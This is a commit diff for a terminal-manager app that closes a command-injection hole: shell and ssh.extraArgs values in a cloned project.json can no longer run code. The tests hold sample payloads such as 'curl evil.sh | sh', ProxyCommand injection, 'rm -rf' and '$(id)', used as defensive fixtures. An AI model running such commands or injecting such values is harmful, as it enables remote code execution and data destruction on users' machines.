Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
fix(security): a cloned project.json can no longer run code (shell / ssh.extraArgs)
enes0ac41739c84e
diff --git a/src/core/pty-manager.ts b/src/core/pty-manager.tsindex ba743a0d9..bb1d57c76 100644--- a/src/core/pty-manager.ts+++ b/src/core/pty-manager.ts@@ -6,6 +6,7 @@ import { promisify } from 'util'import { platform } from './platform'import * as pty from 'node-pty'import { IPC } from '../shared/ipc'+import { safeSessionProgram } from '../shared/node-exec'import { REF_MAX_LEN } from '../shared/presence'import {DEFAULT_SETTINGS,@@ -1030,7 +1031,15 @@ export class PtyManager {// Resolve the session program. A bare 'ssh' is resolved to an absolute path because GUI// apps don't inherit the shell PATH; its args come from options.shellArgs.- const reqShell = options.shell+ //+ // SECURITY — validate at the point the value becomes a command (same idiom as+ // `permissionModeFlag`): a lone tmux `new-session` command argument is run THROUGH A SHELL, so+ // a program string carrying shell metacharacters is command injection. The caller's provenance+ // is not visible from here (a node's `shell` may have come from a project file, a peer canvas+ // mutation, or the user), so an unsafe value degrades to `undefined` = the default shell —+ // never to execution. @shared/node-exec keeps foreign values out of `options.shell` in the+ // first place; this is the second layer.+ const reqShell = safeSessionProgram(options.shell)const program = reqShell === 'ssh' ? findSsh() ?? 'ssh' : reqShellconst programArgs = options.shellArgs ?? []@@ -1071,8 +1080,11 @@ export class PtyManager {options.sshRemote.controlPath,sessionName(options.persistKey),options.sshRemote.remoteCwd,- // An agent preset may pass a remote program to run inside the remote tmux; usually undefined.- options.shell,+ // An agent preset may pass a remote program to run inside the remote tmux; usually+ // undefined. The VALIDATED program (see `reqShell`): the remote tmux runs it the same way+ // the local one does, and an SSH project's project.json lives on the remote HOST — the one+ // place a foreign value is most at home.+ reqShell,options.shellArgs,[...hookExtraEnv, ...remoteAccountEnv],// Source nodeterm's remote tmux.conf via `-f` (written on connect, Task 2) so a cold-startdiff --git a/src/core/workspace-files.test.ts b/src/core/workspace-files.test.tsindex 36a347cff..b372205e7 100644--- a/src/core/workspace-files.test.ts+++ b/src/core/workspace-files.test.ts@@ -150,3 +150,56 @@ describe('permission mode persistence', () => {expect(fileToProject(file, {}).defaultPermissionMode).toBeUndefined()})})++describe('exec-enabling node fields never travel in the shared project file', () => {+ const hostileNodes = [+ node({ id: 'n1', shell: 'curl evil.sh | sh' }),+ node({ id: 'n2', ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=curl evil.sh|sh' } })+ ]++ it('projectToFile strips shell + ssh.extraArgs (a teammate who clones gets no command)', () => {+ const file = projectToFile(project({ cwd: '/a/b', nodes: hostileNodes }), 1, 'now')+ expect(file.nodes[0].shell).toBeUndefined()+ expect(file.nodes[1].ssh?.extraArgs).toBeUndefined()+ expect(serializeProjectFile(file)).not.toContain('ProxyCommand')+ // the connection itself still persists (a node must reattach to its host)+ expect(file.nodes[1].ssh?.host).toBe('h')+ })++ it('fileToProject with no local overlay drops what the FILE claimed (adopted/cloned folder)', () => {+ const f = { ...projectToFile(project({ nodes: [] }), 1, 'now'), nodes: hostileNodes }+ const p = fileToProject(f, { cwd: '/a/b' })+ expect(p.nodes[0].shell).toBeUndefined()+ expect(p.nodes[1].ssh?.extraArgs).toBeUndefined()+ })++ it("fileToProject restores only THIS machine's values (from the local index entry)", () => {+ const f = { ...projectToFile(project({ nodes: [] }), 1, 'now'), nodes: hostileNodes }+ const p = fileToProject(f, { cwd: '/a/b', localExec: { n1: { shell: '/bin/zsh' } } })+ expect(p.nodes[0].shell).toBe('/bin/zsh')+ expect(p.nodes[1].ssh?.extraArgs).toBeUndefined()+ })++ it('splitWorkspace keeps the local values in the machine-local index, not in the file', () => {+ const p = project({+ cwd: '/a/b',+ nodes: [+ node({ id: 'n1', shell: '/bin/zsh' }),+ node({ id: 'n2', ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=corp %h' } })+ ]+ })+ const ws: Workspace = { version: 2, activeProjectId: 'p1', projects: [p] }+ const { index, files } = splitWorkspace(ws, () => 1, 'now')+ expect(index.entries[0].localExec).toEqual({+ n1: { shell: '/bin/zsh' },+ n2: { sshExtraArgs: '-o ProxyCommand=corp %h' }+ })+ const file = files.get('/a/b')!+ expect(file.nodes[0].shell).toBeUndefined()+ expect(file.nodes[1].ssh?.extraArgs).toBeUndefined()+ // and the round trip through the index restores them for the local user+ const back = fileToProject(file, { cwd: '/a/b', localExec: index.entries[0].localExec })+ expect(back.nodes[0].shell).toBe('/bin/zsh')+ expect(back.nodes[1].ssh?.extraArgs).toBe('-o ProxyCommand=corp %h')+ })+})diff --git a/src/core/workspace-files.ts b/src/core/workspace-files.tsindex 02b15b6e0..33faa7b11 100644--- a/src/core/workspace-files.ts+++ b/src/core/workspace-files.ts@@ -1,5 +1,11 @@import path from 'path'import type { AgentPermissionMode } from '../shared/agents/config'+import {+ applyLocalNodeExec,+ localNodeExec,+ stripSharedNodeExec,+ type LocalNodeExecMap+} from '../shared/node-exec'import type { BridgeLink, CanvasNodeState, Project, Viewport, Workspace } from '../shared/types'export const PROJECT_DIR = '.nodeterm'@@ -39,6 +45,12 @@ export interface IndexEntryV3 {ssh?: Project['ssh']cache?: ProjectFileV1project?: Project+ /** MACHINE-LOCAL per-node exec values (`shell`, `ssh.extraArgs`) for a ref'd project. They are+ * stripped from the shared project file precisely so a cloned/hostile one cannot run code+ * (@shared/node-exec), and kept here — in userData, never git-shared — so the user's own custom+ * shell / advanced ssh args still survive a restart. Inline (`project`) entries need none: they+ * live in this same machine-local file already. */+ localExec?: LocalNodeExecMap}export interface WorkspaceIndexV3 {@@ -70,6 +82,10 @@ export function resolveNodes(nodes: CanvasNodeState[], root: string): CanvasNode}export function projectToFile(p: Project, rev: number, savedAt: string): ProjectFileV1 {+ // The project file is a SHARED document (git, or the remote host). Exec-enabling node fields+ // (`shell`, `ssh.extraArgs`) never leave this machine in it — they ride the machine-local index+ // entry instead (`localNodeExec` / `IndexEntryV3.localExec`). See @shared/node-exec.+ const nodes = stripSharedNodeExec(p.cwd ? toPortableNodes(p.nodes, p.cwd) : p.nodes)return {version: 1,rev,@@ -78,7 +94,7 @@ export function projectToFile(p: Project, rev: number, savedAt: string): Projectname: p.name,color: p.color,viewport: p.viewport,- nodes: p.cwd ? toPortableNodes(p.nodes, p.cwd) : p.nodes,+ nodes,...(p.bridges ? { bridges: p.bridges } : {}),...(p.ropes ? { ropes: p.ropes } : {}),...(p.defaultAccountId ? { defaultAccountId: p.defaultAccountId } : {}),@@ -89,14 +105,24 @@ export function projectToFile(p: Project, rev: number, savedAt: string): Projectexport function fileToProject(f: ProjectFileV1,- base: { cwd?: string; ssh?: Project['ssh']; closed?: boolean }+ base: {+ cwd?: string+ ssh?: Project['ssh']+ closed?: boolean+ /** This machine's own exec values for these nodes (from the local index entry). A file read+ * WITHOUT them — an adopted/cloned folder, a probe — gets the safe defaults, never the file's+ * own `shell`/`ssh.extraArgs`. */+ localExec?: LocalNodeExecMap+ }): Project {return {id: f.id,name: f.name,color: f.color,viewport: f.viewport,- nodes: base.cwd ? resolveNodes(f.nodes, base.cwd) : f.nodes,+ // applyLocalNodeExec DROPS whatever the file carried in the exec fields (it is not ours) and+ // re-attaches only what this machine typed. See @shared/node-exec.+ nodes: applyLocalNodeExec(base.cwd ? resolveNodes(f.nodes, base.cwd) : f.nodes, base.localExec),...(f.bridges ? { bridges: f.bridges } : {}),...(f.ropes ? { ropes: f.ropes } : {}),...(f.defaultAccountId ? { defaultAccountId: f.defaultAccountId } : {}),@@ -136,11 +162,20 @@ export function splitWorkspace(}continue}+ // Exec-enabling node fields are stripped from every project file / ssh cache; the local user's+ // own values are preserved HERE, in the machine-local index (@shared/node-exec).+ const local = localNodeExec(p.nodes)+ const localRef = local ? { localExec: local } : {}if (p.ssh) {- entries.push({ ...header, ssh: p.ssh, cache: projectToFile(p, revOf(p.id), savedAt) })+ entries.push({+ ...header,+ ...localRef,+ ssh: p.ssh,+ cache: projectToFile(p, revOf(p.id), savedAt)+ })} else if (p.cwd && !files.has(p.cwd)) {files.set(p.cwd, projectToFile(p, revOf(p.id), savedAt))- entries.push({ ...header, cwd: p.cwd })+ entries.push({ ...header, ...localRef, cwd: p.cwd })} else if (p.cwd) {// Another project already claimed this cwd (two tabs on one folder). Keying `files` by cwd// would collapse them last-wins, and reload would resurrect BOTH entries from the one filediff --git a/src/core/workspace-store.ts b/src/core/workspace-store.tsindex 22fc5d581..f7ebc4354 100644--- a/src/core/workspace-store.ts+++ b/src/core/workspace-store.ts@@ -104,14 +104,14 @@ export class WorkspaceStore {if (p) {this.revs.set(p.id, p.rev)this.lastWritten.set(projectFilePath(e.cwd), serializeProjectFile(p))- projects.push(fileToProject(p, { cwd: e.cwd, closed: e.closed }))+ projects.push(fileToProject(p, { cwd: e.cwd, closed: e.closed, localExec: e.localExec }))} else {projects.push(unavailableProject(e))}} else if (e.ssh) {if (e.cache) {this.revs.set(e.id, e.cache.rev)- projects.push(fileToProject(e.cache, { ssh: e.ssh, closed: e.closed }))+ projects.push(fileToProject(e.cache, { ssh: e.ssh, closed: e.closed, localExec: e.localExec }))} else {projects.push(unavailableProject(e))}@@ -164,6 +164,10 @@ export class WorkspaceStore {if (!unavailableIds.has(e.id)) continueconst old = this.index?.entries.find((o) => o.id === e.id)if (old?.cache) e.cache = old.cache+ // Same reasoning for the machine-local exec values: the placeholder has no nodes, so+ // splitWorkspace could not carry them — restoring them keeps the user's own custom shell /+ // ssh args for when the ref becomes readable again.+ if (old?.localExec) e.localExec = old.localExec}}@@ -222,6 +226,9 @@ export class WorkspaceStore {async probeFolder(folder: string): Promise<Project | null> {const f = await this.readProjectFile(folder, false)+ // No `localExec`: this folder is being ADOPTED (its project.json may have been cloned from+ // anywhere), so its nodes come up with no custom shell and no extra ssh args — the safe+ // defaults. Only values this machine typed itself are ever restored (@shared/node-exec).return f ? fileToProject(f, { cwd: folder }) : null}@@ -240,7 +247,7 @@ export class WorkspaceStore {if (!f) return nullthis.revs.set(f.id, f.rev)this.lastWritten.set(projectFilePath(e.cwd), serializeProjectFile(f))- return fileToProject(f, { cwd: e.cwd, closed: e.closed })+ return fileToProject(f, { cwd: e.cwd, closed: e.closed, localExec: e.localExec })}/** Maps a watched file path back to its project and re-reads it. */@@ -271,7 +278,7 @@ export class WorkspaceStore {this.revs.set(projectId, remote.rev)this.unmirrored.delete(projectId) // the server copy IS the truth now — nothing owedawait writeAtomic(this.indexPath, JSON.stringify(this.index))- return fileToProject(remote, { ssh: e.ssh, closed: e.closed })+ return fileToProject(remote, { ssh: e.ssh, closed: e.closed, localExec: e.localExec })}if (e.cache) {// Push-up runs with the master just up, but record the outcome anyway: a failed writediff --git a/src/shared/node-exec.test.ts b/src/shared/node-exec.test.tsnew file mode 100644index 000000000..3eb4eac8b--- /dev/null+++ b/src/shared/node-exec.test.ts@@ -0,0 +1,116 @@+import { describe, it, expect } from 'vitest'+import type { CanvasNodeState } from './types'+import {+ applyLocalNodeExec,+ localNodeExec,+ safeSessionProgram,+ stripSharedNodeExec+} from './node-exec'++const node = (over: Partial<CanvasNodeState> = {}): CanvasNodeState => ({+ id: 'term-abc',+ kind: 'terminal',+ position: { x: 0, y: 0 },+ size: { width: 400, height: 300 },+ title: 't',+ color: '#fff',+ group: null,+ ...over+})++describe('safeSessionProgram', () => {+ it('accepts a plain program or an absolute path', () => {+ expect(safeSessionProgram('bash')).toBe('bash')+ expect(safeSessionProgram('/bin/zsh')).toBe('/bin/zsh')+ expect(safeSessionProgram('/usr/local/bin/fish')).toBe('/usr/local/bin/fish')+ expect(safeSessionProgram('ssh')).toBe('ssh')+ expect(safeSessionProgram(' /bin/zsh ')).toBe('/bin/zsh')+ })++ it('refuses anything a shell would interpret — tmux runs a lone command through a shell', () => {+ // Exactly the payloads a cloned .nodeterm/project.json could ship.+ expect(safeSessionProgram('curl evil.sh | sh')).toBeUndefined()+ expect(safeSessionProgram('/bin/sh -c "curl evil.sh|sh"')).toBeUndefined()+ expect(safeSessionProgram('bash; rm -rf ~')).toBeUndefined()+ expect(safeSessionProgram('bash && whoami')).toBeUndefined()+ expect(safeSessionProgram('$(id)')).toBeUndefined()+ expect(safeSessionProgram('`id`')).toBeUndefined()+ expect(safeSessionProgram('bash\nrm -rf /')).toBeUndefined()+ expect(safeSessionProgram('bash > /tmp/x')).toBeUndefined()+ })++ it('refuses an option-looking program (tmux would read it as a flag) and empty values', () => {+ expect(safeSessionProgram('-c')).toBeUndefined()+ expect(safeSessionProgram('')).toBeUndefined()+ expect(safeSessionProgram(' ')).toBeUndefined()+ expect(safeSessionProgram(undefined)).toBeUndefined()+ })+})++describe('stripSharedNodeExec', () => {+ it('removes shell and ssh.extraArgs before a project file is written', () => {+ const [n] = stripSharedNodeExec([+ node({+ shell: '/bin/zsh',+ ssh: { host: 'h', user: 'u', port: 2222, identityFile: '~/.ssh/id', extraArgs: '-o ProxyCommand=evil' }+ })+ ])+ expect(n.shell).toBeUndefined()+ expect(n.ssh?.extraArgs).toBeUndefined()+ // The rest of the connection must survive — a node has to reattach to its host.+ expect(n.ssh).toEqual({ host: 'h', user: 'u', port: 2222, identityFile: '~/.ssh/id' })+ expect(JSON.stringify(n)).not.toContain('ProxyCommand')+ })++ it('leaves nodes with no exec fields untouched (same object)', () => {+ const nodes = [node({ cwd: '/a' })]+ expect(stripSharedNodeExec(nodes)[0]).toBe(nodes[0])+ })+})++describe('localNodeExec / applyLocalNodeExec', () => {+ it("round-trips the local user's own custom shell and ssh args through the machine-local index", () => {+ const live = [+ node({ id: 'n1', shell: '/bin/zsh' }),+ node({ id: 'n2', ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=corp-proxy %h' } })+ ]+ const local = localNodeExec(live)+ expect(local).toEqual({+ n1: { shell: '/bin/zsh' },+ n2: { sshExtraArgs: '-o ProxyCommand=corp-proxy %h' }+ })+ // What the SHARED file carries (nothing) …+ const onDisk = stripSharedNodeExec(live)+ // … re-hydrated with what THIS machine typed → the user's setup still works after a restart.+ const back = applyLocalNodeExec(onDisk, local)+ expect(back[0].shell).toBe('/bin/zsh')+ expect(back[1].ssh?.extraArgs).toBe('-o ProxyCommand=corp-proxy %h')+ })++ it('no overlay → the values in the FILE are dropped, not adopted (cloned/hostile project.json)', () => {+ const hostile = [+ node({ id: 'n1', shell: 'curl evil.sh | sh' }),+ node({ id: 'n2', ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=curl evil.sh|sh' } })+ ]+ const loaded = applyLocalNodeExec(hostile, undefined)+ expect(loaded[0].shell).toBeUndefined()+ expect(loaded[1].ssh?.extraArgs).toBeUndefined()+ expect(loaded[1].ssh?.host).toBe('h') // the connection itself still persists+ })++ it('an overlay for OTHER nodes cannot vouch for a hostile value on this one', () => {+ const hostile = [node({ id: 'n1', shell: 'evil.sh' })]+ const loaded = applyLocalNodeExec(hostile, { n2: { shell: '/bin/zsh' } })+ expect(loaded[0].shell).toBeUndefined()+ })++ it('a foreign file that reuses a local node id still only gets the LOCAL value', () => {+ const hostile = [node({ id: 'n1', shell: 'evil.sh' })]+ const loaded = applyLocalNodeExec(hostile, { n1: { shell: '/bin/zsh' } })+ expect(loaded[0].shell).toBe('/bin/zsh')+ })++ it('returns undefined when there is nothing machine-local to keep', () => {+ expect(localNodeExec([node()])).toBeUndefined()+ })+})diff --git a/src/shared/node-exec.ts b/src/shared/node-exec.tsnew file mode 100644index 000000000..5f18adfd9--- /dev/null+++ b/src/shared/node-exec.ts@@ -0,0 +1,116 @@+/**+ * Trust boundary for the node fields that end up EXECUTING something.+ *+ * `.nodeterm/project.json` is hostile input: it is git-shared, hand-editable, auto-adopted by+ * "Open folder…", and for an SSH project it lives on the remote host. A value that arrives from+ * that file was never typed by the local user, so it must never become a command. The codebase+ * already honors this for `initialCommand` (deliberately never serialized); two siblings reach an+ * exec the same way and are handled here:+ *+ * - `NodeState.shell` — the session program. It lands as tmux `new-session`'s trailing command+ * argument, and tmux runs a lone command argument THROUGH A SHELL. A cloned repo could ship+ * `"shell": "curl evil.sh|sh"`, or simply point at a script committed in the repo.+ * - `NodeState.ssh.extraArgs` — spliced verbatim into the `ssh` argv (`buildSshArgs`), where+ * `-o ProxyCommand=<cmd>` makes ssh run `<cmd>` LOCALLY through /bin/sh.+ *+ * Both are legitimate when the LOCAL user sets them, so they are not deleted — they are made+ * MACHINE-LOCAL: `stripSharedNodeExec` keeps them out of every project file we write, and+ * `localNodeExec` / `applyLocalNodeExec` round-trip them through the machine-local workspace.json+ * index instead (`IndexEntryV3.localExec`). A project file therefore contributes NOTHING to either+ * field: the safe fallback (default shell / no extra ssh args) is what an unrecognized or foreign+ * value degrades to.+ *+ * `safeSessionProgram` is the second layer, applied where the value BECOMES a command (pty-manager),+ * in the same idiom as `permissionModeFlag` re-validating at the interpolation site: whatever the+ * path a value took to get there (a peer canvas mutation, a stale in-memory node, a future caller),+ * a program string carrying shell metacharacters is never handed to tmux.+ */++import type { CanvasNodeState } from './types'++/** Per-node exec values the LOCAL machine typed. Persisted only in the machine-local index. */+export interface LocalNodeExec {+ /** `NodeState.shell` — a custom session program for this node. */+ shell?: string+ /** `NodeState.ssh.extraArgs` — raw advanced ssh args for this node's connection. */+ sshExtraArgs?: string+}++/** Node id → the exec values that stay on this machine. */+export type LocalNodeExecMap = Record<string, LocalNodeExec>++/**+ * A session program must be ONE program, not a command line: tmux runs a lone command argument+ * through a shell, so anything a shell would interpret is refused. Absolute paths, bare names and+ * `~`-less relative paths are fine; whitespace, quotes, `;|&$()<>` … and a leading `-` (which tmux+ * would read as an option) are not.+ */+const SAFE_PROGRAM = /^[A-Za-z0-9_./+@:=-]+$/++/**+ * Validate a session program at the point it becomes a command. Returns the program when it is+ * safe to hand to tmux/node-pty, else `undefined` — i.e. the caller falls back to the default+ * shell, which is exactly the pre-feature behavior. NEVER throws: an unrecognized value degrades+ * to the safe path, it does not block the launch.+ */+export function safeSessionProgram(shell: string | undefined): string | undefined {+ if (!shell) return undefined+ const s = shell.trim()+ if (!s || s.startsWith('-')) return undefined+ if (!SAFE_PROGRAM.test(s)) return undefined+ return s+}++/**+ * Strip every exec-enabling field from the nodes we are about to write into a SHARED project file.+ * The values survive on this machine via `localNodeExec` (below); what leaves for git/the remote+ * host carries no command of any kind.+ */+export function stripSharedNodeExec(nodes: CanvasNodeState[]): CanvasNodeState[] {+ return nodes.map((n) => {+ if (n.shell === undefined && n.ssh?.extraArgs === undefined) return n+ const out: CanvasNodeState = { ...n }+ delete out.shell+ if (out.ssh) {+ const { extraArgs: _extraArgs, ...conn } = out.ssh+ out.ssh = conn+ }+ return out+ })+}++/** Collect the machine-local exec values of these nodes (for the workspace.json index entry). */+export function localNodeExec(nodes: CanvasNodeState[]): LocalNodeExecMap | undefined {+ const map: LocalNodeExecMap = {}+ for (const n of nodes) {+ const entry: LocalNodeExec = {}+ if (n.shell) entry.shell = n.shell+ if (n.ssh?.extraArgs) entry.sshExtraArgs = n.ssh.extraArgs+ if (entry.shell || entry.sshExtraArgs) map[n.id] = entry+ }+ return Object.keys(map).length ? map : undefined+}++/**+ * Re-attach this machine's own exec values to nodes just read from a project file. Anything the+ * FILE carried in those fields is dropped first (it is not ours), so a hostile/cloned project.json+ * can only ever produce the safe default. Keyed by node id, which is stable (it is the tmux+ * session name) — a foreign file that happens to reuse an id can still only inherit a value the+ * local user typed themselves.+ */+export function applyLocalNodeExec(+ nodes: CanvasNodeState[],+ local: LocalNodeExecMap | undefined+): CanvasNodeState[] {+ return nodes.map((n) => {+ const mine = local?.[n.id]+ const out: CanvasNodeState = { ...n }+ if (mine?.shell) out.shell = mine.shell+ else delete out.shell+ if (out.ssh) {+ const { extraArgs: _extraArgs, ...conn } = out.ssh+ out.ssh = mine?.sshExtraArgs ? { ...conn, extraArgs: mine.sshExtraArgs } : conn+ }+ return out+ })+}